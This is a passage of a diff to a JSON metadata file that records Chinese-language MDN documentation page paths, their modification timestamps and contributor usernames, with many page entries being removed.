"2019-03-04T23:39:43.858Z", "contributors": [ @@ -5055,27 +4069,6 @@ "xhlsrj" ] }, - "MDN/Contribute/Howto/Create_an_MDN_account": { - "modified": "2020-08-03T02:14:19.507Z", - "contributors": [ - "zonghuaj", - "jackleeholmes", - "dwns545", - "kgbook", - "roboterwise", - "wbamberg", - "Disat", - "Zhsirting", - "jiajinning", - "BoothLuo", - "WavinFlag", - "acgpiano", - "1xxxx", - "wth", - "ziyunfei", - "fanziy75" - ] - }, "MDN/Contribute/Howto/Create_and_edit_pages": { "modified": "2020-08-13T06:15:42.058Z", "contributors": [ @@ -5119,65 +4112,6 @@ "sweetliu" ] }, - "MDN/Contribute/Howto/Do_a_technical_review": { - "modified": "2020-06-06T00:56:15.988Z", - "contributors": [ - "ice-kylin", - "wbamberg", - "Mr.ma", - "zt19994", - "jianxin-zhang", - "righttoe", - "The-End-Hero", - "pidanhua", - "Roland_Reed", - "majunbao", - "pixiu" - ] - }, - "MDN/Contribute/Howto/Do_an_editorial_review": { - "modified": "2020-02-24T12:04:57.900Z", - "contributors": [ - "zhanglolo", - "IFVFORNONE", - "SphinxKnight", - "YUYUEy", - "chrislung", - "Azurak", - "wbamberg", - "quainter", - "Katherina-Miao", - "ucev", - "liujinyu", - "faremax", - "nanflower", - "YFM-getA", - "LiuTong", - "Martin.Chow", - "MMOnster", - "lunix01" - ] - }, - "MDN/Contribute/Howto/Set_the_summary_for_a_page": { - "modified": "2019-10-29T05:37:01.880Z", - "contributors": [ - "7NZ", - "Socheny", - "zhangdonglei", - "wbamberg", - "WeJie", - "Schr0dinger", - "itao1314", - "52yang", - "ivanberry", - "ziyunfei", - "Inceng", - "salmon8881", - "zzhi", - "Minnie", - "Yanzhu.Yin" - ] - }, "MDN/Contribute/Howto/Tag": { "modified": "2020-04-29T12:58:13.297Z", "contributors": [ @@ -5190,18 +4124,6 @@ "ganshenhai" ] }, - "MDN/Contribute/Howto/Tag_JavaScript_pages": { - "modified": "2019-01-16T21:47:16.976Z", - "contributors": [ - "wbamberg", - "Gale", - "BiGrEgGaErOoTs", - "joke", - "Ahkari", - "ziyunfei", - "lushunming" - ] - }, "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": { "modified": "2019-03-18T21:16:25.185Z", "contributors": [ @@ -5221,17 +4143,6 @@ "Syclover-u2400" ] }, - "MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": { - "modified": "2020-09-06T02:30:17.183Z", - "contributors": [ - "Cheese-Chip", - "SuiltaPico", - "gu_qing", - "Azurak", - "wbamberg", - "liminjun" - ] - }, "MDN/Contribute/Howto/Write_for_SEO": { "modified": "2019-01-17T03:12:28.083Z", "contributors": [ @@ -5239,95 +4150,6 @@ "MartinJLiu" ] }, - "MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据": { - "modified": "2019-03-18T21:38:16.029Z", - "contributors": [ - "wbamberg", - "kite-js" - ] - }, - "MDN/Contribute/Howto/学习_交互_在线_起步_开始": { - "modified": "2019-03-18T21:43:40.910Z", - "contributors": [ - "wbamberg", - "ZweiZhao" - ] - }, - "MDN/Contribute/Howto/成为一名测试版试验员": { - "modified": "2019-03-23T22:10:34.334Z", - "contributors": [ - "fengchunsgit", - "wbamberg", - "fbambi", - "sunnysabor" - ] - }, - "MDN/Editor": { - "modified": "2020-09-30T15:44:25.503Z", - "contributors": [ - "chrisdavidmills", - "thouen", - "woniuxingdong", - "TeabugCC", - "yuan81777", - "zhangqiangoffice", - "xjr7670", - "Y.Young", - "ChuckZhang", - "mona", - "jiahui", - "Roland_Reed", - "JoshuaLee", - "GeoffreyQ", - "sunxiang", - "OlingCat", - "Meteormatt" - ] - }, - "MDN/Editor/Basics": { - "modified": "2020-09-30T15:44:25.432Z", - "contributors": [ - "chrisdavidmills", - "zhangqiangoffice", - "Jeane", - "yy1107", - "world521", - "q1560760" - ] - }, - "MDN/Editor/Basics/Page_controls": { - "modified": "2020-09-30T15:44:25.715Z", - "contributors": [ - "chrisdavidmills", - "zhangqiangoffice" - ] - }, - "MDN/Editor/Basics/Page_info": { - "modified": "2020-09-30T15:44:25.570Z", - "contributors": [ - "chrisdavidmills", - "zhangqiangoffice" - ] - }, - "MDN/Editor/Edit_box": { - "modified": "2020-09-30T15:44:25.913Z", - "contributors": [ - "chrisdavidmills", - "RainSlide", - "yuan81777", - "zhangqiangoffice" - ] - }, - "MDN/Editor/Source_mode": { - "modified": "2020-09-30T15:44:26.291Z", - "contributors": [ - "chrisdavidmills", - "SirnoChan", - "yinsang", - "woniuxingdong", - "zhangqiangoffice" - ] - }, "MDN/Guidelines": { "modified": "2020-09-30T15:32:46.472Z", "contributors": [ @@ -5347,54 +4169,6 @@ "shc0743" ] }, - "MDN/Guidelines/Content_blocks": { - "modified": "2020-09-30T15:32:46.742Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "OlingCat" - ] - }, - "MDN/Guidelines/Rules_Of_MDN_Documenting": { - "modified": "2020-09-30T15:32:46.957Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "zccz14" - ] - }, - "MDN/Guidelines/Style_guide": { - "modified": "2020-11-14T07:38:19.734Z", - "contributors": [ - "kuailekai", - "chrisdavidmills", - "jswisher", - "wbamberg", - "codeofjackie", - "Dousy", - "Terry.Qiao", - "jianxin-zhang", - "DennisWang", - "suncn", - "WynnChen", - "zmh_w", - "OlingCat" - ] - }, - "MDN/Kuma": { - "modified": "2019-09-09T15:54:47.389Z", - "contributors": [ - "SphinxKnight", - "RainSlide", - "yuan81777", - "Chor", - "wbamberg", - "myshell1983", - "popcorner", - "Jack-Q", - "xgqfrms" - ] - }, "MDN/MDN_Product_Advisory_Board": { "modified": "2019-01-17T01:56:35.044Z", "contributors": [ @@ -5458,14 +4232,6 @@ "jiahui" ] }, - "MDN/Structures/Live_samples/Simple_live_sample_demo": { - "modified": "2020-09-30T12:57:47.049Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Howard.Chen" - ] - }, "MDN/Structures/Macros": { "modified": "2020-09-30T12:57:46.893Z", "contributors": [ @@ -5478,26 +4244,6 @@ "jswisher" ] }, - "MDN/Structures/Macros/Custom_macros": { - "modified": "2020-10-06T09:20:15.609Z", - "contributors": [ - "phone-burner", - "chrisdavidmills", - "wbamberg", - "teoli", - "fscholz", - "xhlsrj", - "FredWe" - ] - }, - "MDN_at_ten": { - "modified": "2019-03-23T22:50:02.795Z", - "contributors": [ - "FlyingPig", - "cughudson_1", - "WarriorWu" - ] - }, "Mozilla": { "modified": "2020-06-07T07:01:06.707Z", "contributors": [ @@ -5646,14 +4392,6 @@ "RainSlide" ] }, - "Mozilla/Add-ons/WebExtensions/API/contextMenus": { - "modified": "2020-10-15T21:54:13.449Z", - "contributors": [ - "miracleXL", - "yangwang", - "xgqfrms-GitHub" - ] - }, "Mozilla/Add-ons/WebExtensions/API/cookies": { "modified": "2020-10-15T21:52:04.120Z", "contributors": [ @@ -5669,13 +4407,6 @@ "JamesUmmex" ] }, - "Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow": { - "modified": "2020-10-15T22:13:56.821Z", - "contributors": [ - "wbamberg", - "ClassJm" - ] - }, "Mozilla/Add-ons/WebExtensions/API/downloads": { "modified": "2020-10-15T22:24:32.261Z", "contributors": [ @@ -5904,12 +4635,6 @@ "zsgwsjj" ] }, - "Mozilla/Add-ons/WebExtensions/API/tabs/查询": { - "modified": "2020-11-25T05:15:24.039Z", - "contributors": [ - "qzwvinner" - ] - }, "Mozilla/Add-ons/WebExtensions/API/types": { "modified": "2020-07-06T02:37:08.205Z" }, @@ -5986,21 +4711,6 @@ "Ruwind" ] }, - "Mozilla/Add-ons/WebExtensions/API/剪切板": { - "modified": "2020-10-15T22:15:08.385Z", - "contributors": [ - "RainSlide", - "faliye", - "gentop" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData": { - "modified": "2020-10-15T22:15:17.586Z", - "contributors": [ - "RainSlide", - "faliye" - ] - }, "Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar": { "modified": "2019-03-18T21:06:43.197Z", "contributors": [ @@ -6131,20 +4841,6 @@ "pea3nut" ] }, - "Mozilla/Add-ons/WebExtensions/Packaging_and_installation": { - "modified": "2019-03-23T22:45:12.350Z", - "contributors": [ - "GrayLight", - "yfdyh000" - ] - }, - "Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome": { - "modified": "2019-03-18T21:08:06.832Z", - "contributors": [ - "PaperFlu", - "yfdyh000" - ] - }, "Mozilla/Add-ons/WebExtensions/Prerequisites": { "modified": "2019-03-23T22:45:08.369Z", "contributors": [ @@ -6152,35 +4848,12 @@ "yfdyh000" ] }, - "Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension": { - "modified": "2019-03-18T21:06:37.903Z", - "contributors": [ - "abcfyk", - "Smartree", - "taadis" - ] - }, "Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page": { "modified": "2020-05-01T09:44:07.553Z", "contributors": [ "ultiwill" ] }, - "Mozilla/Add-ons/WebExtensions/Walkthrough": { - "modified": "2019-09-08T06:17:56.666Z", - "contributors": [ - "Bonlin0", - "ZowieGong", - "LuminousXLB", - "Gszekt", - "boser90", - "yydzxz", - "lightsing", - "CXWorks", - "GrayLight", - "yfdyh000" - ] - }, "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": { "modified": "2020-05-06T06:16:11.132Z", "contributors": [ @@ -6351,15 +5024,6 @@ "fish-inu" ] }, - "Mozilla/Add-ons/WebExtensions/manifest.json/主页地址": { - "modified": "2020-10-15T21:51:31.504Z", - "contributors": [ - "RainSlide", - "fscholz", - "1010Tech", - "Hypophrenia" - ] - }, "Mozilla/Add-ons/WebExtensions/user_interface": { "modified": "2019-03-18T20:52:33.784Z", "contributors": [ @@ -6398,34 +5062,6 @@ "Jane47Zeng" ] }, - "Mozilla/Add-ons/WebExtensions/user_interface/侧边栏": { - "modified": "2019-03-18T21:02:29.279Z", - "contributors": [ - "dfchong" - ] - }, - "Mozilla/Add-ons/WebExtensions/实现一个设置页面": { - "modified": "2019-09-14T23:46:00.166Z", - "contributors": [ - "ivysrono", - "xcffl", - "Hypophrenia" - ] - }, - "Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件": { - "modified": "2020-09-17T09:25:04.236Z", - "contributors": [ - "kingcc", - "Daryl.Xu" - ] - }, - "Mozilla/Add-ons/WebExtensions/用户界面元素": { - "modified": "2019-03-18T21:06:10.178Z", - "contributors": [ - "qson", - "Hypophrenia" - ] - }, "Mozilla/Developer_guide": { "modified": "2020-06-26T07:13:21.797Z", "contributors": [ @@ -6844,116 +5480,6 @@ "Gay夜" ] }, - "Mozilla/Mozilla_Persona": { - "modified": "2019-03-23T23:09:24.663Z", - "contributors": [ - "world521" - ] - }, - "Python": { - "modified": "2019-03-23T23:11:53.165Z", - "contributors": [ - "JiangLirui", - "xcffl" - ] - }, - "Quirks_Mode_and_Standards_Mode": { - "modified": "2019-03-24T00:17:27.134Z", - "contributors": [ - "OoOoOoOo", - "ziyunfei" - ] - }, - "Server-sent_events": { - "modified": "2020-03-04T10:52:34.764Z", - "contributors": [ - "femaimi", - "RainSlide", - "act262", - "raju_dasa" - ] - }, - "Server-sent_events/EventSource": { - "modified": "2020-10-15T21:21:30.406Z", - "contributors": [ - "into-piece", - "RainSlide", - "Jack.Works", - "xlaoyu", - "xgqfrms-GitHub", - "kameii", - "ziyunfei" - ] - }, - "Server-sent_events/EventSource/EventSource": { - "modified": "2019-08-07T05:55:13.404Z", - "contributors": [ - "ZZES_REN", - "kameii" - ] - }, - "Server-sent_events/EventSource/close": { - "modified": "2019-03-23T22:09:23.731Z", - "contributors": [ - "Char-Ten" - ] - }, - "Server-sent_events/EventSource/onerror": { - "modified": "2019-03-23T22:09:23.181Z", - "contributors": [ - "Char-Ten" - ] - }, - "Server-sent_events/EventSource/onopen": { - "modified": "2019-03-23T22:16:16.621Z", - "contributors": [ - "kameii" - ] - }, - "Server-sent_events/Using_server-sent_events": { - "modified": "2020-10-15T21:21:32.267Z", - "contributors": [ - "kagurakana", - "mkckr0", - "xgqfrms-GitHub", - "jamemark", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_19": { - "modified": "2019-01-16T17:00:07.852Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_21": { - "modified": "2019-01-16T17:20:04.063Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_23": { - "modified": "2019-01-16T17:27:23.228Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_24": { - "modified": "2019-01-16T17:27:30.001Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Specification_List": { - "modified": "2019-03-23T23:31:18.870Z", - "contributors": [ - "ziyunfei" - ] - }, "Tools": { "modified": "2020-08-19T03:34:07.960Z", "contributors": [ @@ -7004,13 +5530,6 @@ "Baoer-MBY" ] }, - "Tools/Add-ons": { - "modified": "2020-07-16T22:36:23.904Z", - "contributors": [ - "wbamberg", - "maicss" - ] - }, "Tools/Browser_Console": { "modified": "2020-08-17T23:06:02.026Z", "contributors": [ @@ -7211,14 +5730,6 @@ "ziyunfei" ] }, - "Tools/Page_Inspector/3D_view": { - "modified": "2020-07-16T22:34:25.755Z", - "contributors": [ - "Gitai", - "wbamberg", - "ziyunfei" - ] - }, "Tools/Page_Inspector/How_to": { "modified": "2020-07-16T22:34:32.374Z", "contributors": [ @@ -7314,13 +5825,6 @@ "DyVan_Cheung" ] }, - "Tools/Page_Inspector/How_to/View_fonts": { - "modified": "2020-07-16T22:34:39.361Z", - "contributors": [ - "wbamberg", - "webery" - ] - }, "Tools/Page_Inspector/How_to/Visualize_transforms": { "modified": "2020-07-16T22:34:39.820Z", "contributors": [ @@ -7388,15 +5892,6 @@ "daaain" ] }, - "Tools/Profiler": { - "modified": "2020-07-16T22:35:29.313Z", - "contributors": [ - "wbamberg", - "hstarorg", - "Qcui", - "jackyong" - ] - }, "Tools/Remote_Debugging": { "modified": "2020-07-16T22:35:38.510Z", "contributors": [ @@ -7411,13 +5906,6 @@ "Leo_Ken" ] }, - "Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone": { - "modified": "2019-03-23T23:02:33.405Z", - "contributors": [ - "wbamberg", - "qq18588696841" - ] - }, "Tools/Remote_Debugging/Firefox_for_Android": { "modified": "2020-07-16T22:35:39.562Z", "contributors": [ @@ -7430,16 +5918,6 @@ "18353573321" ] }, - "Tools/Responsive_Design_View": { - "modified": "2020-07-16T22:35:22.496Z", - "contributors": [ - "wbamberg", - "Meteormatt", - "maybe", - "ziyunfei", - "dannyxu" - ] - }, "Tools/Rulers": { "modified": "2020-07-16T22:36:26.679Z", "contributors": [ @@ -7487,14 +5965,6 @@ "ziyunfei" ] }, - "Tools/Using_the_Source_Editor": { - "modified": "2020-07-16T22:34:03.695Z", - "contributors": [ - "wbamberg", - "ziyunfei", - "Sanshao" - ] - }, "Tools/Web_Console": { "modified": "2020-07-16T22:34:10.632Z", "contributors": [ @@ -7524,14 +5994,6 @@ "c1er" ] }, - "Tools/Web音频编辑器": { - "modified": "2020-07-16T22:36:08.958Z", - "contributors": [ - "wbamberg", - "ab233", - "DorayHong" - ] - }, "Tools/Working_with_iframes": { "modified": "2020-07-16T22:36:12.232Z", "contributors": [ @@ -7555,61 +6017,6 @@ "lzrhcj" ] }, - "Tools/不推荐的工具": { - "modified": "2020-07-16T22:36:40.884Z", - "contributors": [ - "GMMG55" - ] - }, - "Tools/存储查看器": { - "modified": "2020-07-16T22:36:10.648Z", - "contributors": [ - "hellojackhui" - ] - }, - "Tools/小技巧": { - "modified": "2020-07-16T22:36:36.674Z", - "contributors": [ - "Argon-Pub", - "wbamberg", - "ShirleyM" - ] - }, - "Understanding_Underlines": { - "modified": "2020-06-28T08:17:09.016Z", - "contributors": [ - "riino", - "zsxeee", - "ziyunfei", - "Y001", - "Bonede" - ] - }, - "Updating_extensions_for_Firefox_3": { - "modified": "2019-12-13T20:33:30.985Z", - "contributors": [ - "wbamberg", - "ziyunfei", - "Sheppy", - "phenix", - "Loveunk" - ] - }, - "Using_XPath": { - "modified": "2019-01-16T15:30:24.695Z", - "contributors": [ - "Cuimingda" - ] - }, - "WOFF": { - "modified": "2020-10-15T21:07:54.753Z", - "contributors": [ - "zhangchen", - "MingxunBai", - "fscholz", - "ziyunfei" - ] - }, "Web": { "modified": "2020-09-21T00:46:13.839Z", "contributors": [ @@ -7779,12 +6186,6 @@ "shockw4ver" ] }, - "Web/API/AmbientLightSensor/reading": { - "modified": "2019-03-23T22:07:09.220Z", - "contributors": [ - "shockw4ver" - ] - }, "Web/API/AnalyserNode": { "modified": "2020-10-15T21:30:26.024Z", "contributors": [ @@ -7807,13 +6208,6 @@ "joy-yu" ] }, - "Web/API/AnalyserNode/fft": { - "modified": "2019-03-18T20:44:28.140Z", - "contributors": [ - "RainSlide", - "GabrielchenCN" - ] - }, "Web/API/AnalyserNode/fftSize": { "modified": "2019-03-23T22:19:56.212Z", "contributors": [ @@ -8116,59 +6510,6 @@ "ayqy" ] }, - "Web/API/AudioContext/createAnalyser": { - "modified": "2019-03-23T22:51:30.295Z", - "contributors": [ - "Ambar", - "ayqy" - ] - }, - "Web/API/AudioContext/createBiquadFilter": { - "modified": "2019-03-23T22:19:40.757Z", - "contributors": [ - "feewb", - "yqjiang" - ] - }, - "Web/API/AudioContext/createBuffer": { - "modified": "2019-03-23T22:49:27.952Z", - "contributors": [ - "Taoja", - "LiuTong", - "Losses" - ] - }, - "Web/API/AudioContext/createBufferSource": { - "modified": "2019-03-23T22:26:08.102Z", - "contributors": [ - "Taoja" - ] - }, - "Web/API/AudioContext/createChannelMerger": { - "modified": "2019-03-23T22:21:54.996Z", - "contributors": [ - "win7killer" - ] - }, - "Web/API/AudioContext/createChannelSplitter": { - "modified": "2019-03-23T22:19:41.394Z", - "contributors": [ - "yqjiang" - ] - }, - "Web/API/AudioContext/createConvolver": { - "modified": "2019-03-23T22:31:06.367Z", - "contributors": [ - "TomdyQin" - ] - }, - "Web/API/AudioContext/createDelay": { - "modified": "2019-03-23T22:16:38.056Z", - "contributors": [ - "wang_geng", - "jb145161" - ] - }, "Web/API/AudioContext/createMediaElementSource": { "modified": "2019-03-23T22:09:51.262Z", "contributors": [ @@ -8189,77 +6530,12 @@ "Remond" ] }, - "Web/API/AudioContext/createScriptProcessor": { - "modified": "2020-03-24T04:10:23.984Z", - "contributors": [ - "frankyoung0305", - "zwmin", - "fanmingfei", - "Remond", - "Melo.HG" - ] - }, - "Web/API/AudioContext/createWaveShaper": { - "modified": "2019-03-23T22:15:28.242Z", - "contributors": [ - "SHALLYKL" - ] - }, - "Web/API/AudioContext/currentTime": { - "modified": "2019-03-23T22:52:18.954Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/decodeAudioData": { - "modified": "2019-03-23T22:36:34.575Z", - "contributors": [ - "Taoja", - "huangxok" - ] - }, - "Web/API/AudioContext/destination": { - "modified": "2019-03-23T22:52:09.137Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/listener": { - "modified": "2019-03-23T22:52:15.612Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/mozAudioChannelType": { - "modified": "2019-03-23T22:52:10.983Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/onstatechange": { - "modified": "2019-03-23T22:52:09.265Z", - "contributors": [ - "ayqy" - ] - }, "Web/API/AudioContext/resume": { "modified": "2019-03-23T22:08:48.326Z", "contributors": [ "maicss" ] }, - "Web/API/AudioContext/sampleRate": { - "modified": "2019-03-23T22:52:21.186Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/state": { - "modified": "2019-03-23T22:52:21.050Z", - "contributors": [ - "ayqy" - ] - }, "Web/API/AudioContext/suspend": { "modified": "2020-11-29T00:47:49.013Z", "contributors": [ @@ -8303,12 +6579,6 @@ "MisicDemone" ] }, - "Web/API/AudioNode/connect(AudioParam)": { - "modified": "2019-03-23T22:18:48.818Z", - "contributors": [ - "smilewalker" - ] - }, "Web/API/AudioNodeOptions": { "modified": "2019-03-18T21:39:54.122Z", "contributors": [ @@ -8756,12 +7026,6 @@ "liruiqi" ] }, - "Web/API/CSSMatrix": { - "modified": "2019-03-23T22:20:22.410Z", - "contributors": [ - "kameii" - ] - }, "Web/API/CSSMediaRule": { "modified": "2020-10-15T21:15:06.065Z", "contributors": [ @@ -8980,12 +7244,6 @@ "hbmakeit" ] }, - "Web/API/CSS分页规则": { - "modified": "2020-10-15T22:24:48.715Z", - "contributors": [ - "hongz1125" - ] - }, "Web/API/Cache": { "modified": "2019-10-06T23:50:04.011Z", "contributors": [ @@ -9092,12 +7350,6 @@ "flyingsouthwind" ] }, - "Web/API/CanvasCaptureMediaStream": { - "modified": "2019-03-18T21:16:31.622Z", - "contributors": [ - "scplay" - ] - }, "Web/API/CanvasGradient": { "modified": "2019-03-23T23:07:24.849Z", "contributors": [ @@ -9669,13 +7921,6 @@ "Blabla cn" ] }, - "Web/API/Canvas_API/Drawing_graphics_with_canvas": { - "modified": "2019-03-23T23:20:14.159Z", - "contributors": [ - "ziyunfei", - "wanglingzhi" - ] - }, "Web/API/Canvas_API/Manipulating_video_using_canvas": { "modified": "2019-03-18T20:39:44.141Z", "contributors": [ @@ -9991,12 +8236,6 @@ "WangLeto" ] }, - "Web/API/Channel_Messaging_API/使用_channel_messaging": { - "modified": "2020-10-15T22:33:04.421Z", - "contributors": [ - "cheiron" - ] - }, "Web/API/CharacterData": { "modified": "2019-03-23T23:09:13.805Z", "contributors": [ @@ -10943,12 +9182,6 @@ "princetoad@gmail.com" ] }, - "Web/API/DeviceAcceleration": { - "modified": "2019-03-23T22:20:59.019Z", - "contributors": [ - "shuangya" - ] - }, "Web/API/DeviceLightEvent": { "modified": "2020-10-15T21:34:11.102Z", "contributors": [ @@ -10957,13 +9190,6 @@ "fscholz" ] }, - "Web/API/DeviceLightEvent/Using_light_events": { - "modified": "2020-10-15T21:34:12.225Z", - "contributors": [ - "RainSlide", - "fskuok" - ] - }, "Web/API/DeviceMotionEvent": { "modified": "2020-10-15T21:47:35.974Z", "contributors": [ @@ -11224,13 +9450,6 @@ "ReyCG" ] }, - "Web/API/Document/cookie/Simple_document.cookie_framework": { - "modified": "2019-03-18T20:55:13.743Z", - "contributors": [ - "Tommy-White", - "xgqfrms-GitHub" - ] - }, "Web/API/Document/createAttribute": { "modified": "2020-10-15T21:04:21.052Z", "contributors": [ @@ -11512,19 +9731,6 @@ "Ende93" ] }, - "Web/API/Document/elementFromPoint": { - "modified": "2019-03-23T23:19:33.886Z", - "contributors": [ - "teoli", - "ziyunfei" - ] - }, - "Web/API/Document/elementsFromPoint": { - "modified": "2019-03-23T22:03:51.668Z", - "contributors": [ - "ziyunfei" - ] - }, "Web/API/Document/embeds": { "modified": "2020-10-15T21:04:20.744Z", "contributors": [ @@ -11667,14 +9873,6 @@ "iFee" ] }, - "Web/API/Document/getSelection": { - "modified": "2019-04-29T02:16:09.423Z", - "contributors": [ - "happyWang", - "teoli", - "AlexChao" - ] - }, "Web/API/Document/hasFocus": { "modified": "2019-04-29T02:46:37.409Z", "contributors": [ @@ -11741,14 +9939,6 @@ "ziyunfei" ] }, - "Web/API/Document/inputEncoding": { - "modified": "2019-03-24T00:17:51.204Z", - "contributors": [ - "teoli", - "AshfaqHossain", - "ziyunfei" - ] - }, "Web/API/Document/keypress_event": { "modified": "2019-04-24T12:26:46.079Z", "contributors": [ @@ -11797,33 +9987,6 @@ "AlexChao" ] }, - "Web/API/Document/mozFullScreen": { - "modified": "2019-06-11T23:50:44.389Z", - "contributors": [ - "xiaoxingchi", - "hb-bobo", - "codeofjackie", - "teoli", - "AshfaqHossain", - "ziyunfei" - ] - }, - "Web/API/Document/mozFullScreenElement": { - "modified": "2019-03-24T00:17:55.698Z", - "contributors": [ - "teoli", - "jsx", - "ziyunfei" - ] - }, - "Web/API/Document/mozFullScreenEnabled": { - "modified": "2019-03-24T00:17:54.483Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Document/mozSyntheticDocument": { "modified": "2019-03-23T22:10:39.057Z", "contributors": [ @@ -11895,12 +10058,6 @@ "Sojourn2017" ] }, - "Web/API/Document/pointerLockElement": { - "modified": "2019-03-23T22:20:46.971Z", - "contributors": [ - "876843240" - ] - }, "Web/API/Document/pointerlockchange_event": { "modified": "2020-10-15T22:32:28.124Z", "contributors": [ @@ -12021,15 +10178,6 @@ "princetoad@gmail.com" ] }, - "Web/API/Document/rouchmove_event": { - "modified": "2019-04-30T14:14:32.752Z", - "contributors": [ - "wbamberg", - "irenesmith", - "fscholz", - "zhaosource" - ] - }, "Web/API/Document/scripts": { "modified": "2019-03-24T00:17:22.230Z", "contributors": [ @@ -12089,14 +10237,6 @@ "xgqfrms-GitHub" ] }, - "Web/API/Document/styleSheets": { - "modified": "2019-03-23T23:10:11.077Z", - "contributors": [ - "xgqfrms-GitHub", - "teoli", - "AlexChao" - ] - }, "Web/API/Document/timeline": { "modified": "2020-10-15T21:52:30.679Z", "contributors": [ @@ -12357,15 +10497,6 @@ "liurenxingyu" ] }, - "Web/API/Document_Object_Model/Preface": { - "modified": "2019-03-23T23:33:00.872Z", - "contributors": [ - "khalid32", - "ziyunfei", - "ReyCG_sub", - "ngoyroe" - ] - }, "Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core": { "modified": "2019-12-13T21:06:35.933Z", "contributors": [ @@ -12455,15 +10586,6 @@ "Dewang" ] }, - "Web/API/Element/Activate_event": { - "modified": "2020-10-15T22:15:27.177Z", - "contributors": [ - "Carllllo", - "wbamberg", - "irenesmith", - "chenyanfei-m" - ] - }, "Web/API/Element/DOMMouseScroll_event": { "modified": "2019-03-19T08:53:40.772Z", "contributors": [ @@ -12472,12 +10594,6 @@ "soYawn" ] }, - "Web/API/Element/accessKey": { - "modified": "2019-03-23T22:20:51.264Z", - "contributors": [ - "songlairui" - ] - }, "Web/API/Element/animate": { "modified": "2019-03-23T22:06:46.374Z", "contributors": [ @@ -12924,30 +11040,12 @@ "hhxxhg" ] }, - "Web/API/Element/name": { - "modified": "2019-03-23T23:09:29.332Z", - "contributors": [ - "mySoul", - "teoli", - "AlexChao" - ] - }, "Web/API/Element/namespaceURI": { "modified": "2019-03-23T22:05:50.221Z", "contributors": [ "nile52" ] }, - "Web/API/Element/onafterscriptexecute": { - "modified": "2019-03-24T00:15:00.171Z", - "contributors": [ - "wbamberg", - "teoli", - "khalid32", - "ziyunfei", - "zhangyaochun1987" - ] - }, "Web/API/Element/onfullscreenchange": { "modified": "2019-03-18T21:19:43.587Z", "contributors": [ @@ -12961,13 +11059,6 @@ "LinChengDior" ] }, - "Web/API/Element/ongotpointercapture": { - "modified": "2019-03-18T21:45:48.501Z", - "contributors": [ - "Bayes", - "StorytellerF" - ] - }, "Web/API/Element/openOrClosedShadowRoot": { "modified": "2020-10-15T22:35:17.746Z", "contributors": [ @@ -13300,13 +11391,6 @@ "ziyunfei" ] }, - "Web/API/Entity": { - "modified": "2020-06-03T01:07:43.853Z", - "contributors": [ - "RainSlide", - "xgqfrms-GitHub" - ] - }, "Web/API/ErrorEvent": { "modified": "2020-10-15T21:38:19.894Z", "contributors": [ @@ -13393,14 +11477,6 @@ "icodeajk" ] }, - "Web/API/Event/createEvent": { - "modified": "2019-03-23T22:56:15.340Z", - "contributors": [ - "holynewbie", - "Serifx", - "yulifu" - ] - }, "Web/API/Event/currentTarget": { "modified": "2020-10-15T21:05:13.846Z", "contributors": [ @@ -13418,13 +11494,6 @@ "ziyunfei" ] }, - "Web/API/Event/deepPath": { - "modified": "2019-03-23T22:13:43.358Z", - "contributors": [ - "DarrenZhang01", - "Gyanxie" - ] - }, "Web/API/Event/defaultPrevented": { "modified": "2020-10-15T21:04:41.129Z", "contributors": [ @@ -13552,14 +11621,6 @@ "ziyunfei" ] }, - "Web/API/Event/禁用时间冒泡": { - "modified": "2019-03-23T22:20:20.011Z", - "contributors": [ - "shockw4ver", - "xgqfrms-GitHub", - "SuunZhu" - ] - }, "Web/API/EventListener": { "modified": "2020-10-15T21:39:17.019Z", "contributors": [ @@ -13644,23 +11705,6 @@ "ziyunfei" ] }, - "Web/API/EventTarget/attachEvent": { - "modified": "2020-12-08T04:46:34.350Z", - "contributors": [ - "bershanskiy", - "JohnsonBryant", - "eeeeeeeason", - "JiexianYang" - ] - }, - "Web/API/EventTarget/detachEvent": { - "modified": "2019-03-23T22:15:37.296Z", - "contributors": [ - "Ende93", - "faremax", - "daisyHawen" - ] - }, "Web/API/EventTarget/dispatchEvent": { "modified": "2020-12-03T00:06:09.374Z", "contributors": [ @@ -13678,12 +11722,6 @@ "charlie" ] }, - "Web/API/EventTarget/fireEvent": { - "modified": "2019-03-23T22:26:26.112Z", - "contributors": [ - "pod4g" - ] - }, "Web/API/EventTarget/removeEventListener": { "modified": "2020-10-15T21:31:36.215Z", "contributors": [ @@ -13713,27 +11751,6 @@ "flyingsouthwind" ] }, - "Web/API/FetchController": { - "modified": "2020-10-15T21:56:50.608Z", - "contributors": [ - "xgqfrms", - "chjxx", - "zhangchen", - "wuCrio" - ] - }, - "Web/API/FetchController/AbortController": { - "modified": "2020-10-15T22:10:15.849Z", - "contributors": [ - "xiiiAtCn" - ] - }, - "Web/API/FetchController/abort": { - "modified": "2020-10-15T22:22:26.939Z", - "contributors": [ - "cuiwei4869" - ] - }, "Web/API/FetchEvent": { "modified": 